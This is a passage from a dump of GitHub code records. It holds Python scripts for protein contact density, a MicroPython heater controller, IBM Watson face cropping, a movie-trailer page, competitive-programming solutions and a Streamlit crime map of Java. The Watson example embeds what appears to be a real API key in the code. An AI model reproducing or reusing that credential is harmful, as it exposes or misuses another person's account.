'sudoku-board-solution.html');\n#create()\n","repo_name":"gatinueta/FranksRepo","sub_path":"python/sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"75383412723","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nimport argparse\nimport sys\nimport os\nimport glob\nimport numpy as np\nimport pandas as pd\nfrom collections import defaultdict, Counter\nfrom scipy.spatial import distance\nimport pdb\n\n#Arguments for argparse module:\nparser = argparse.ArgumentParser(description = '''Calculate the relative contact order for pdb files.''')\n\nparser.add_argument('--indir', nargs=1, type= str,\n default=sys.stdin, help = '''path to input directory. include / in end''')\nparser.add_argument('--outdir', nargs=1, type= str,\n default=sys.stdin, help = '''path to output directory. include / in end''')\nparser.add_argument('--df_path', nargs=1, type= str,\n default=sys.stdin, help = '''path to df.''')\n\n\n\n\n\n#FUNCTIONS\ndef calculate_cd(df, indir, outdir):\n '''Calculate the relative contact order\n '''\n\n\n cd_dict = {}\n fasta_dict = {}\n\n if 'group' not in df.columns: #If the group name is not group\n df = df.rename(columns={'H_group':'group'})\n groups = [*Counter([*df['group']]).keys()] #Get unique groups\n\n for group in groups:\n uid1 = [*df[df['group']==group]['uid1']]\n uid2 = [*df[df['group']==group]['uid2']]\n uids = [*Counter(uid1+uid2).keys()] #Get unique uids\n #Get RCOs\n for uid in uids:\n CD = read_cbs(indir+group+'/'+uid+'.pdb')\n cd_dict[uid] = CD\n\n\n #Get RCOs matching df\n CD1 = [] #Save RCOs\n CD2 = [] #Save RCOs\n for i in range(len(df)):\n row = df.iloc[i]\n CD1.append(cd_dict[row['uid1']])\n CD2.append(cd_dict[row['uid2']])\n\n #Set new columns in df\n df['CD1'] = CD1\n df['CD2'] = CD2\n pdb.set_trace()\n #Write new df to outdir\n df.to_csv(outdir+'complete_df.csv')\n return None\n\ndef read_cbs(pdbfile):\n '''Get the C-betas from a pdb file.\n '''\n three_to_one = {'ARG':'R', 'HIS':'H', 'LYS':'K', 'ASP':'D', 'GLU':'E', 'SER':'S', 'THR':'T', 'ASN':'N', 'GLN':'Q', 'CYS':'C', 'GLY':'G', 'PRO':'P', 'ALA':'A', 'ILE':'I', 'LEU':'L', 'MET':'M', 'PHE':'F', 'TRP':'W', 'TYR':'Y', 'VAL':'V', 'UNK': 'X'}\n sequence = ''\n pos = [] #Save positions in space\n prev_res = -1 #Keep track of potential alternative residues\n with open(pdbfile, 'r') as file:\n for line in file:\n record = parse_atm_record(line)\n if record['atm_name'] == 'CB':\n if record['res_no'] == prev_res:\n continue\n else:\n prev_res = record['res_no']\n pos.append(np.array([record['x'], record['y'], record['z']]))\n sequence += three_to_one[record['res_name']]\n if record['atm_name'] == 'CA' and record['res_name'] == 'GLY':\n prev_res = record['res_no']\n pos.append(np.array([record['x'], record['y'], record['z']]))\n sequence += three_to_one[record['res_name']]\n CD = contact_density(pos)\n\n return CD\n\n\ndef parse_atm_record(line):\n\n record = defaultdict()\n record['name'] = line[0:6].strip()\n record['atm_no'] = int(line[6:11])\n record['atm_name'] = line[12:16].strip()\n record['res_name'] = line[17:20].strip()\n record['chain'] = line[21]\n record['res_no'] = int(line[22:26])\n record['insert'] = line[26].strip()\n record['resid'] = line[22:29]\n record['x'] = float(line[30:38])\n record['y'] = float(line[38:46])\n record['z'] = float(line[46:54])\n record['occ'] = float(line[54:60])\n record['B'] = float(line[60:66])\n\n return record\n\ndef contact_density(pos):\n N=0 #Total number of contacts\n for i in range(len(pos)):\n for j in range(i+5, len(pos)):\n dist = distance.euclidean(pos[i], pos[j])\n if dist < 8:\n N+=1\n CD = N/len(pos) #Contact density = #contacts/length\n return CD\n\n\n#MAIN\nargs = parser.parse_args()\nindir = args.indir[0]\noutdir = args.outdir[0]\ndf = pd.read_csv(args.df_path[0])\n\ncalculate_cd(df, indir, outdir)\n","repo_name":"ElofssonLab/evolutionary_rates","sub_path":"contact_density.py","file_name":"contact_density.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27511729469","text":"import time\nfrom machine import PWM, ADC, Pin, I2C\nfrom ssd1306 import SSD1306_I2C\nimport ntc\n\n# hardware set\ni2c = I2C(0, scl=Pin(17), sda=Pin(16))\noled = SSD1306_I2C(128, 32, i2c)\n\nadc = ADC(Pin(26))\nmos_0 = Pin(20, Pin.OUT)\nmos_1 = Pin(21, Pin.OUT)\n\npwm_0 = PWM(mos_0)\npwm_0.freq(1000)\npwm_0.duty_u16(65535)\n\nbutton_0 = Pin(0, Pin.IN)\nbutton_1 = Pin(1, Pin.IN)\nbutton_2 = Pin(2, Pin.IN)\n\n\n\n\ndef adc2voltage(adc_value):\n voltage = adc_value * 3300 / 65535\n return int(voltage)\n\n\ndef adc2res(adc_value, reference_res):\n res = int(adc_value / (65535 - adc_value) * reference_res)\n return res\n\n\ndef lcd_init():\n oled.fill(0)\n oled.text(\"Temper Control\", 5, 5)\n oled.show()\n\n#测电阻\ndef res_check_task():\n adc_value = adc.read_u16()\n voltage = adc2voltage(adc_value)\n resistor = adc2res(adc_value, 4700)\n\n return resistor\n\n#测温任务\ndef temper_task():\n\n ohum = res_check_task()\n\n oled.fill_rect(0, 15, 128, 17, 0)\n oled.text(\"Ohum:\" + str(ohum), 5, 15)\n oled.show()\n\n temperature = ntc.ohum2temperature(ohum)\n\n oled.text(\"Temp:\" + str(temperature) + \" C\", 5, 24)\n oled.show()\n\n return temperature\n\n\ndef main():\n lcd_init()\n temper = 25.0\n\n while True:\n temper = temper_task()\n\n if(temper < 50):\n pwm_0.duty_u16(32768)\n mos_1.high()\n\n if(temper >52):\n pwm_0.duty_u16(65535)\n mos_1.low()\n \n time.sleep(1)\n\n pass\n\n\n# main()\n\n# def adc_task():\n# adc = ADC(Pin(26))\n# while True:\n# temp = adc.read_u16()\n# voltage = adc2voltage(temp)\n# print(\"ADC:\" + str(temp) + \" VOL:\" + str(voltage))\n# time.sleep(1)\n\n\n# def i2c_task():\n# i2c = I2C(0, scl=Pin(17), sda=Pin(16))\n# # Display device address\n# print(\"I2C Address : \"+hex(i2c.scan()[0]).upper())\n# # Display I2C config\n# print(\"I2C Configuration: \"+str(i2c))\n\n\n# def read_res(reference_res):\n# adc_value = adc.read_u16()\n# voltage = adc2voltage(adc_value)\n# resistor = adc2res(adc_value, reference_res)\n# return voltage, resistor\n","repo_name":"195cn/195cn","sub_path":"006_RP2040/src/temper.py","file_name":"temper.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28094641703","text":"import json\nfrom watson_developer_cloud import VisualRecognitionV3\nfrom PIL import Image\n\ndef crop_face(original_image, face_name, watson_face_location):\n left = watson_face_location['left']\n top = watson_face_location['top']\n right = left + watson_face_location['width']\n bottom = top + watson_face_location['height']\n original_image.crop((left, top, right, bottom)).save(face_name)\n\nvisual_recognition = VisualRecognitionV3(\n '2018-03-19',\n iam_apikey='unBcJ-zq5gaguq7g6rQnpu9K-1ue8yKvoclgqMf7wMLx')\n\nwith open('./rob_and_tanmay.jpg', 'rb') as images_file:\n faces = visual_recognition.detect_faces(images_file).get_result()\n for (faceID, face) in enumerate(faces['images'][0]['faces']):\n filename = str(faceID) + \"_\" + str(face['age']['min']) + '_' + str(face['age']['max']) + '_' + face['gender']['gender'] + \".png\"\n crop_face(Image.open('./rob_and_tanmay.jpg'), filename, face['face_location'])\n","repo_name":"PacktPublishing/Cognitive-Computing-with-IBM-Watson","sub_path":"Chapter03/code_2_crop_face.py","file_name":"code_2_crop_face.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"37597669266","text":"import moviemedia\n\nimport fresh_tomatoes\nGeethaGovindam=moviemedia.Movies(\"GeethaGovindam\",\"Romantic comedy\",\n \"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTYrS5uFWGFvPAJ9u9X9M_DB0swfl5NHGL6igOu5XIW0N6u_WdyZg\",\n \"https://youtu.be/Ct4_0Jg3xGA\")\nKali=moviemedia.Movies(\"Kali\",\"Thriller/Action\",\n \"https://upload.wikimedia.org/wikipedia/en/thumb/0/0b/\"\n \"Kali_Malayalam_Movie_First_Look_Poster.jpg/220px-Kali_Malayalam_Movie_First_Look_Poster.jpg\",\n \"https://youtu.be/vJ72PkYYZHs\")\nYehjawaanihaideewani=moviemedia.Movies(\"Yeh jawaani hai deewani\",\"Romantic drama\",\n \"https://i.pinimg.com/originals/34/5f/ec/345fecf5e269212d9a287508648ec173.jpg\",\n \"https://youtu.be/Rbp2XUSeUNE\")\nDumbo=moviemedia.Movies(\"Dumbo\",\" Fantasy/Animation\",\n \"https://lumiere-a.akamaihd.net/v1/images/teaser-\"\n \"richbanner_c05787a8.jpeg?region=0%2C0%2C1600%2C900\",\n \"https://youtu.be/mgcrMHAezS0\")\nKirikparty=moviemedia.Movies(\"Kirikparty\",\" Drama/Comedy\",\n \"https://i0.wp.com/fnn.9db.myftpupload.com/wp-content/uploads/2017/08/\"\n \"Kirik-Party-Kannada-poster-Samyukta-Hegde-e1502170885309.jpg?resize=484%2C369\",\n \"https://youtu.be/IfvnbER_6sQ\")\nPremam=moviemedia.Movies(\"Premam\",\"Drama/Romance\",\n \"http://www.bhavanidvd.com/images/premam-dvd-m.jpg\",\n \"https://youtu.be/NLu1kgfEfpo\")\nmovies=[GeethaGovindam,Kali,Yehjawaanihaideewani,Dumbo,Kirikparty,Premam]\nfresh_tomatoes.open_movies_page(movies)\n","repo_name":"MPrathyusha21/movie_trailer","sub_path":"movie_entertainment.py","file_name":"movie_entertainment.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27377877684","text":"# Problem: F - Transportation\n# Contest: AtCoder - TOYOTA MOTOR CORPORATION Programming Contest 2022(AtCoder Beginner Contest 270)\n# URL: https://atcoder.jp/contests/abc270/tasks/abc270_f\n# Memory Limit: 1024 MB\n# Time Limit: 4000 ms\n# \n# Powered by CP Editor (https://cpeditor.org)\n\nimport sys\nimport heapq\nimport bisect\nimport random\nimport io, os\nfrom bisect import *\nfrom collections import *\nfrom contextlib import redirect_stdout\nfrom itertools import *\nfrom math import sqrt, gcd, inf\nfrom array import *\nfrom functools import lru_cache\n\nRI = lambda: map(int, sys.stdin.buffer.readline().split())\nRS = lambda: map(bytes.decode, sys.stdin.buffer.readline().strip().split())\nRILST = lambda: list(RI())\nDEBUG = lambda *x: sys.stderr.write(f'{str(x)}\\n')\n\nMOD = 10 ** 9 + 7\n\n\nclass DSU:\n def __init__(self, n):\n self.fathers = list(range(n))\n self.size = [1 for _ in range(n)] # 本家族size\n self.n = n\n self.setCount = n # 共几个家族\n\n def find_fa(self, x):\n fs = self.fathers\n t = x\n while fs[x] != x:\n x = fs[x]\n while t != x:\n fs[t], t = x, fs[t]\n return x\n\n def union(self, x: int, y: int) -> bool:\n x = self.find_fa(x)\n y = self.find_fa(y)\n if x == y:\n return False\n if self.size[x] > self.size[y]:\n x, y = y, x\n self.fathers[x] = y\n self.size[y] += self.size[x]\n self.setCount -= 1\n return True\n\n\nclass MST:\n def __init__(self, es, n, key=lambda x: x[3]):\n self.es = sorted(es, key=key)\n self.n = n\n\n def kruskal(self):\n dsu = DSU(self.n + 1)\n ans = 0\n for u, v, w in self.es:\n if dsu.union(u, v):\n ans += w\n return ans\n\n\nclass UnionFind:\n def __init__(self, n: int):\n self.parent = [x for x in range(n)]\n self.size = [1 for _ in range(n)] # 本家族size\n self.n = n\n self.setCount = n # 共几个家族\n\n def find_fa(self, x: int) -> int:\n if self.parent[x] != x:\n self.parent[x] = self.find_fa(self.parent[x])\n return self.parent[x]\n\n def union(self, x: int, y: int) -> bool:\n root_x = self.find_fa(x)\n root_y = self.find_fa(y)\n if root_x == root_y:\n return False\n if self.size[root_x] > self.size[root_y]:\n root_x, root_y = root_y, root_x\n self.parent[root_x] = root_y\n self.size[root_y] += self.size[root_x]\n self.setCount -= 1\n return True\n\n\n# 2956 ms\ndef solve1(n, m, airs, ports, es):\n a, p = n + 1, n + 2\n ae = [(u, a, w) for u, w in enumerate(airs, start=1)] # 机场到超级源点\n pe = [(u, p, w) for u, w in enumerate(ports, start=1)] # 港口到超级源点\n\n def calc(es, ok=1): # 讨论建机场或港口的必能联通省去一层O(n)判断\n # Kruskal 先加小边\n es.sort(key=lambda x: x[2])\n dsu = UnionFind(n + 3)\n ans = 0\n for u, v, w in es:\n if dsu.union(u, v):\n ans += w\n f = dsu.find_fa(1)\n return ans if ok or all(dsu.find_fa(x) == f for x in range(2, n + 1)) else inf\n\n print(min(calc(es + ae), calc(es + pe), calc(es + ae + pe), calc(es, 0)))\n\n\n# 2966 ms\ndef solve(n, m, airs, ports, es):\n a, p = n + 1, n + 2\n ae = [(u, a, w) for u, w in enumerate(airs, start=1)] # 机场到超级源点\n pe = [(u, p, w) for u, w in enumerate(ports, start=1)] # 港口到超级源点\n\n def calc(es): # 讨论建机场或港口的必能联通省去一层O(n)判断\n # Kruskal 先加小边\n es.sort(key=lambda x: x[2])\n dsu = DSU(n + 3)\n ans = 0\n for u, v, w in es:\n if dsu.union(u, v):\n ans += w\n # if dsu.size[dsu.find_fa(1)] >= n:\n # break\n return ans if dsu.size[dsu.find_fa(1)] >= n else inf\n\n print(min(calc(es + ae), calc(es + pe), calc(es + ae + pe), calc(es)))\n\n\nif __name__ == '__main__':\n n, m = RI()\n airs = RILST()\n ports = RILST()\n es = []\n for _ in range(m):\n es.append(RILST())\n\n solve(n, m, airs, ports, es)\n\nPROBLEM = \"\"\"https://atcoder.jp/contests/abc270/tasks/abc270_f\n\n输入 n m (≤2e5)。有 n 个岛屿。\n输入 n 个数,表示在第 i 个岛屿上修建机场的花费(≤1e9)。如果两个岛都有机场,则可以互相到达。\n输入 n 个数,表示在第 i 个岛屿上修建港口的花费(≤1e9)。如果两个岛都有港口,则可以互相到达。\n输入 m 条边,每条边输入 a b z 表示在岛屿 a 和 b 造桥的花费为 z(≤1e9)。\n输出使得任意两个岛可以互相到达的最小花费。\n输入\n4 2\n1 20 4 7\n20 2 20 3\n1 3 5\n1 4 6\n输出 16\n\n输入\n3 1\n1 1 1\n10 10 10\n1 2 100\n输出 3\n\"\"\"\n\"\"\"最小生成树(Minimum Spanning Tree,MST)的Kruskal算法,把边排序,从小到大加边,如果当前边两边的点已经联通则放弃这条边;注意原图必须是联通的才有MST。\n本题如果要用机场、港口,则分别建立超级源点;然后分别讨论是否用机场、港口共4种情况。\n\"\"\"\n","repo_name":"liuliangcan/play_with_python","sub_path":"problem/atc/abc270/f/abc270_f.py","file_name":"abc270_f.py","file_ext":"py","file_size_in_byte":5160,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"20039853656","text":"class Solution:\n def countVowelPermutation(self, n: int) -> int:\n MODULO = 10**9 + 7\n dp = [1] * 5 # number of string end at character i, with i=[a, e, i, o, u] \n for _ in range(1, n):\n a, e, i, o, u = dp\n dp[0] = (e + i + u) % MODULO\n dp[1] = (a + i) % MODULO\n dp[2] = (e + o) % MODULO\n dp[3] = i % MODULO\n dp[4] = (i + o) % MODULO\n \n return sum(dp) % MODULO \n","repo_name":"tirth-kothari/Leetcode_Solutions","sub_path":"1220. Count Vowels Permutation/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6963456994","text":"import streamlit as st\nimport tempfile\nimport geopandas as gpd\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport plotly.graph_objects as go\nfrom st_aggrid import AgGrid\nimport folium\nimport folium.plugins as fp\nimport branca.colormap as cmp\nimport base64\nimport minify_html\nimport streamlit.components.v1 as components\nfrom html2image import Html2Image\nfrom PIL import Image\n\ntemp_path = tempfile.gettempdir()\n\ngeodf = gpd.read_file(r\"data/Indonesia_Kab_Kota.zip\")\ndf = pd.read_csv(\"data/cluster_final_result.csv\")\n\ndef initialize_map(x, y):\n map = folium.Map(location=[y, x], zoom_start=7, tiles=None, prefer_canvas=True)\n return map\n\ndef addChoroLayer(m, geo_data, name, data, columns, key_on, legend_name=None, fill_color=None, fill_opacity=None, line_opacity=0.5, smooth_factor=0, show=True):\n return folium.Choropleth(geo_data=geo_data, name=name, data=data, columns=columns, key_on=key_on, legend_name=legend_name, fill_color=fill_color, fill_opacity=fill_opacity,\n line_opacity=line_opacity, smooth_factor=smooth_factor, show=show).add_to(m)\n\ndef hideColorScale(layer, m):\n for key in layer._children:\n if key.startswith('color_map'):\n del(layer._children[key])\n layer.add_to(m)\n\ndef create_map():\n # select java from geodf\n java_geodf = geodf[geodf[\"PROVINSI\"].isin([\"DKI JAKARTA\",\"JAWA BARAT\",\"JAWA TENGAH\",\"DAERAH ISTIMEWA YOGYAKARTA\",\"JAWA TIMUR\",\"BANTEN\"])]\n\n # add attribute \"Kode Wilayah\"\n java_geodf[\"Kode Wilayah\"] = java_geodf[\"PROVNO\"] + java_geodf[\"KABKOTNO\"]\n java_geodf = java_geodf[[\"Kode Wilayah\",\"geometry\"]]\n java_geodf = java_geodf.to_crs(epsg=3035)\n\n # map center\n x_map = java_geodf.centroid.to_crs(epsg=4326).x.mean()\n y_map = java_geodf.centroid.to_crs(epsg=4326).y.mean()\n \n # join table\n df[\"Kode Wilayah\"] = df[\"Kode Wilayah\"].astype(\"int64\")\n java_geodf[\"Kode Wilayah\"] = java_geodf[\"Kode Wilayah\"].astype(\"int64\")\n merged = pd.merge(java_geodf, df, how=\"right\", on=\"Kode Wilayah\")\n merged = merged.rename(columns={\"Kode Wilayah\":\"KODE\"})\n \n # map initialization\n mymap = initialize_map(x_map, y_map)\n\n # add tile layer options\n folium.TileLayer(tiles=\"stamen terrain\", name=\"Stamen Terrain\", show=True).add_to(mymap)\n folium.TileLayer(tiles=\"cartodb positron\", name=\"CartoDB (Positron)\").add_to(mymap)\n folium.TileLayer(tiles=\"openstreetmap\", name=\"OpenStreetMap\").add_to(mymap)\n\n # add choropleth layer\n crime_layer = addChoroLayer(mymap, merged, \"Cluster Indikator Kriminalitas\", merged, [\"KODE\", \"Cl Crime\"], key_on=\"feature.properties.KODE\")\n all_layer = addChoroLayer(mymap, merged, \"Cluster Indikator Kriminalitas & Lainnya\", merged, [\"KODE\", \"Cl PC1\"], key_on=\"feature.properties.KODE\", show=False)\n \n # hide color scale\n hideColorScale(crime_layer, mymap)\n hideColorScale(all_layer, mymap)\n\n # interactive map\n color_step = cmp.StepColormap(\n ['#E97171','#931A25','#F6E7D8','#FFB5B5'],\n vmin=1, vmax=4,\n index=[0,1,2,3,4]\n )\n\n crime_dict = merged.copy().set_index('KODE')['Cl Crime'].to_dict()\n all_dict = merged.copy().set_index('KODE')['Cl PC1'].to_dict()\n\n crime_style_function = lambda x: {'fillColor': color_step(crime_dict.get(x['properties']['KODE'])), \n 'color':'#000000', \n 'fillOpacity': 0.8, \n 'weight': 0.1}\n all_style_function = lambda x: {'fillColor': color_step(all_dict.get(x['properties']['KODE'])), \n 'color':'#000000', \n 'fillOpacity': 0.8, \n 'weight': 0.1}\n highlight_function = lambda x: {'fillColor': '#000000', \n 'color':'#000000', \n 'fillOpacity': 0.50, \n 'weight': 0.1}\n crime_maps = folium.GeoJson(\n merged,\n style_function=crime_style_function, \n control=False,\n highlight_function=highlight_function, \n tooltip=folium.features.GeoJsonTooltip(\n fields=['Kabupaten/Kota','CT 2020','CRR 2020','Cl Crime Name'],\n aliases=['Kabupaten/Kota','Crime Total', 'Crime Rate', 'Cluster Kriminalitas'],\n style=(\"background-color: white; color: #333333; font-family: arial; font-size: 12px; padding: 10px;\") \n )\n )\n\n all_maps = folium.GeoJson(\n merged,\n style_function=all_style_function, \n control=False,\n highlight_function=highlight_function, \n tooltip=folium.features.GeoJsonTooltip(\n fields=['Kabupaten/Kota','KP 2020','PPM 2020','RLS 2020','CT 2020','CRR 2020','Cl PC1 Name'],\n aliases=['Kabupaten/Kota','Kepadatan Penduduk', 'Penduduk Miskin (%)', 'Rata-rata Lama Sekolah', 'Crime Total', 'Crime Rate', 'Cluster Kriminalitas & Lainnya'],\n style=(\"background-color: white; color: #333333; font-family: arial; font-size: 12px; padding: 10px;\") \n )\n )\n crime_layer.add_child(crime_maps)\n all_layer.add_child(all_maps)\n\n # plugins\n fp.Geocoder(collapsed=True, position='topright').add_to(mymap)\n folium.LayerControl().add_to(mymap)\n fp.Fullscreen(title='Masuk mode layar penuh', title_cancel='Keluar mode layar penuh', force_separate_button=True).add_to(mymap)\n fp.LocateControl().add_to(mymap)\n fp.MousePosition(separator=' | ', num_digits=4, prefix='Koordinat').add_to(mymap)\n fp.MiniMap(tile_layer=\"Stamen Terrain\", zoom_animation=True, toggle_display=True).add_to(mymap)\n \n # # legends (only once)\n # hti = Html2Image(output_path='img')\n\n # hti.screenshot(\n # html_file='legends/legends.html', css_file='legends/legends_css.css',\n # save_as='legends.png'\n # ) \n\n # crop html image\n # box = (0,0,220,300)\n # legends = Image.open(\"img/legends.png\")\n # legends2 = legends.crop(box)\n # legends2.save(\"img/legends_cropped.png\")\n\n with open(\"img/legends_cropped.png\", 'rb') as lf:\n legend_content = base64.b64encode(lf.read()).decode('utf-8')\n\n fp.FloatImage('data:image/png;base64,{}'.format(legend_content), bottom=1, left=1).add_to(mymap)\n return mymap\n \ndef main():\n st.markdown(\"

    Peta Kriminalitas Tahun 2020

    \", unsafe_allow_html=True)\n \n lf, md, rt = st.columns(3)\n gif_runner = md.image(\"img/loading.gif\", use_column_width=True)\n if \"map_2020_html\" not in st.session_state:\n map_2020 = create_map()\n map_html = map_2020.get_root().render()\n minified_map = minify_html.minify(map_html)\n st.session_state[\"map_2020_html\"] = minified_map\n components.html(st.session_state[\"map_2020_html\"], height=500)\n gif_runner.empty()\n \n with st.expander(\"Tentang Data\", expanded=True):\n st.markdown(\"
    Tabel Data
    \", unsafe_allow_html=True)\n raw = df[[\"Kode Wilayah\",\"Provinsi\",\"Kabupaten/Kota\",\"KP 2020\",\"PPM 2020\",\"RLS 2020\",\"CT 2020\",\"CRR 2020\",\"Cl PC1\",\"Cl Crime\",\"Cl PC1 Name\",\"Cl Crime Name\"]]\n AgGrid(raw)\n st.markdown(\"
    Informasi Data
    \", unsafe_allow_html=True)\n table_info, stat = st.columns(2)\n with table_info:\n st.markdown('''\n
    \n \n \n \n \n \n \n \n \\\n \n \n \n \\\n \n \n \n \\\n \n \n \n \\\n \n \n \n \\\n \n \n \n \\\n \n \n \n \\\n \n \n \n \\\n \n \n \n \n \\\n \n \n \n \n \\\n \n \n \n \\\n \n \n \n \\\n \n
    KolomDeskripsi
    Kode WilayahKode wilayah resmi suatu kabupaten/kota berdasarkan Sistem Informasi Geografis BPS
    ProvinsiNama provinsi
    Kabupaten/KotaNama kabupaten/kota
    KP 2020Kepadatan penduduk tahun 2020
    PPM 2020Persentase penduduk miskin tahun 2020
    RLS 2020Rata-rata lama sekolah tahun 2020
    CT 2020Crime total atau jumlah tindak pidana tercatat tahun 2020
    CRR 2020Crime rate atau risiko penduduk terkena tindak kejahatan per 100.000 penduduk tahun 2020
    Cl PC1Nomor cluster menggunakan indikator kriminalitas dan indikator lainnya
    Cl CrimeNomor cluster menggunakan indikator kriminalitas saja
    Cl PC1 NameNama cluster menggunakan indikator kriminalitas dan indikator lainnya
    Cl Crime NameNama cluster menggunakan indikator kriminalitas saja
    \n
    \n ''', unsafe_allow_html=True)\n st.write(\"\\n\")\n \n with stat:\n st.selectbox(\"Pilih statistik\",[\"Statistik Deskriptif\",\"Plot Korelasi\",\"Histogram\"], key=\"stat\")\n raw_features = raw.iloc[:,3:-4]\n if st.session_state[\"stat\"] == \"Statistik Deskriptif\":\n if \"describe_data\" not in st.session_state:\n st.session_state[\"describe_data\"] = raw_features.describe()\n st.write(st.session_state[\"describe_data\"])\n elif st.session_state[\"stat\"] == \"Plot Korelasi\":\n if \"corr_plot\" not in st.session_state:\n corr = raw_features.corr()\n st.session_state[\"corr_plot\"] = px.imshow(corr, color_continuous_scale='RdBu_r', text_auto=True)\n st.plotly_chart(st.session_state[\"corr_plot\"], use_container_width=True)\n elif st.session_state[\"stat\"] == \"Histogram\":\n st.selectbox(\"Pilih indikator\", raw_features.columns, key=\"hist_col\")\n st.slider(\"Jumlah bin\", min_value=10, max_value=100, value=20, key=\"hist_bins\")\n hist = px.histogram(raw_features, x=st.session_state[\"hist_col\"], \n title=\"Histogram dari {}\".format(st.session_state[\"hist_col\"]), nbins=st.session_state[\"hist_bins\"])\n st.plotly_chart(hist, use_container_width=True)\n\n with st.expander(\"Tentang Cluster\", expanded=True):\n st.markdown(\"
    Visualisasi Cluster
    \", unsafe_allow_html=True)\n st.markdown(\"Indikator Kriminalitas & Lainnya\", unsafe_allow_html=True)\n dim1 = list([dict(range=[df['KP 2020'].min(),df['KP 2020'].max()], \n tickvals=np.append(np.arange(df['KP 2020'].min(),df['KP 2020'].max(),1000),df['KP 2020'].max()),\n label='KP', values=df['KP 2020']),\n dict(range=[df['PPM 2020'].min(),df['PPM 2020'].max()],\n tickvals=np.append(np.arange(df['PPM 2020'].min(),df['PPM 2020'].max(),2),df['PPM 2020'].max()),\n label='PPM', values=df['PPM 2020']),\n dict(range=[df['RLS 2020'].min(),df['RLS 2020'].max()],\n tickvals=np.append(np.arange(df['RLS 2020'].min(),df['RLS 2020'].max(),1),df['RLS 2020'].max()),\n label='RLS', values=df['RLS 2020']),\n dict(range=[df['CT 2020'].min(),df['CT 2020'].max()],\n tickvals=np.append(np.arange(df['CT 2020'].min(),df['CT 2020'].max(),100),df['CT 2020'].max()),\n label='CT', values=df['CT 2020']),\n dict(range=[df['CRR 2020'].min(),df['CRR 2020'].max()],\n tickvals=np.append(np.arange(df['CRR 2020'].min(),df['CRR 2020'].max(),20),df['CRR 2020'].max()),\n label='CRR', values=df['CRR 2020']),\n \n dict(range=[df['Cl PC1'].min(), df['Cl PC1'].max()],\n tickvals=np.unique(df['Cl PC1']),\n label='Nomor Cluster', values=df['Cl PC1']),\n ])\n fig1 = go.Figure(data=go.Parcoords(line = dict(color = df['Cl PC1'],\n colorscale = [[0,'red'],[0.25,'green'],[0.75,'purple'],[1,'blue']]), dimensions=dim1))\n fig1.update_layout(\n title=\"CLARANS Clustering menggunakan Indikator Kriminalitas & Lainnya\"\n )\n st.plotly_chart(fig1, use_container_width=True)\n\n st.markdown(\"Indikator Kriminalitas\", unsafe_allow_html=True)\n dim2 = list([\n dict(range=[df['CT 2020'].min(),df['CT 2020'].max()],\n tickvals=np.append(np.arange(df['CT 2020'].min(),df['CT 2020'].max(),100),df['CT 2020'].max()),\n label='CT', values=df['CT 2020']),\n dict(range=[df['CRR 2020'].min(),df['CRR 2020'].max()],\n tickvals=np.append(np.arange(df['CRR 2020'].min(),df['CRR 2020'].max(),20),df['CRR 2020'].max()),\n label='CRR', values=df['CRR 2020']),\n \n dict(range=[df['Cl Crime'].min(), df['Cl Crime'].max()],\n tickvals=np.unique(df['Cl Crime']),\n label='Nomor Cluster', values=df['Cl Crime']),\n ])\n fig2 = go.Figure(data=go.Parcoords(line = dict(color = df['Cl Crime'],\n colorscale = [[0,'red'],[0.25,'green'],[0.75,'purple'],[1,'blue']]), dimensions=dim2))\n fig2.update_layout(\n title=\"CLARANS Clustering menggunakan Indikator Kriminalitas\"\n )\n st.plotly_chart(fig2, use_container_width=True)\n\n st.markdown(\"
    Karakteristik Cluster
    \", unsafe_allow_html=True)\n char_all, char_crime = st.columns([4,4])\n with char_all :\n all_table = '''\n
    \n \n \n \n \n \n \n \n \n \n \n \\\n \n \n \n \n \\\n \n \n \n \n \\\n \n \n \n \n \\\n \n \n
    Cluster Indikator Kriminalitas & Lainnya
    Nomor ClusterNama Cluster Karakteristik
    1 (merah)Need more attention
    (Butuh perhatian lebih)
    \n
      \n
    • Kepadatan penduduk menengah
    • \n
    • Persentase penduduk miskin rendah
    • \n
    • Rata-rata lama sekolah tinggi
    • \n
    • Crime total menengah
    • \n
    • Crime rate cenderung rendah
    • \n
    \n
    2 (hijau)Need urgent attention
    (Paling butuh perhatian)
    \n
      \n
    • Kepadatan penduduk tinggi
    • \n
    • Persentase penduduk miskin rendah
    • \n
    • Rata-rata lama sekolah tinggi
    • \n
    • Crime total tinggi
    • \n
    • Crime rate menengah ke atas
    • \n
    \n
    3 (ungu)Need least attention
    (Paling sedikit butuh perhatian)
    \n
      \n
    • Kepadatan penduduk rendah
    • \n
    • Persentase penduduk miskin menyebar
    • \n
    • Rata-rata lama sekolah menengah
    • \n
    • Crime total rendah
    • \n
    • Crime rate rendah
    • \n
    \n
    4 (biru)Need a little attention
    (Butuh sedikit perhatian)
    \n
      \n
    • Kepadatan penduduk menengah ke bawah
    • \n
    • Persentase penduduk miskin menengah
    • \n
    • Rata-rata lama sekolah menengah ke atas
    • \n
    • Crime total rendah
    • \n
    • Crime rate menengah ke atas
    • \n
    \n
    \n
    \n '''\n st.markdown(all_table, unsafe_allow_html=True)\n with char_crime :\n crime_table = '''\n
    \n \n \n \n \n \n \n \n \n \n \n \\\n \n \n \n \n \\\n \n \n \n \n \\\n \n \n \n \n \\\n \n
    Cluster Indikator Kriminalitas
    Nomor ClusterNama ClusterKarakteristik
    1 (merah)High crime
    (Kriminalitas tinggi)
    \n
      \n
    • Crime total tinggi
    • \n
    • Crime rate menengah ke bawah
    • \n
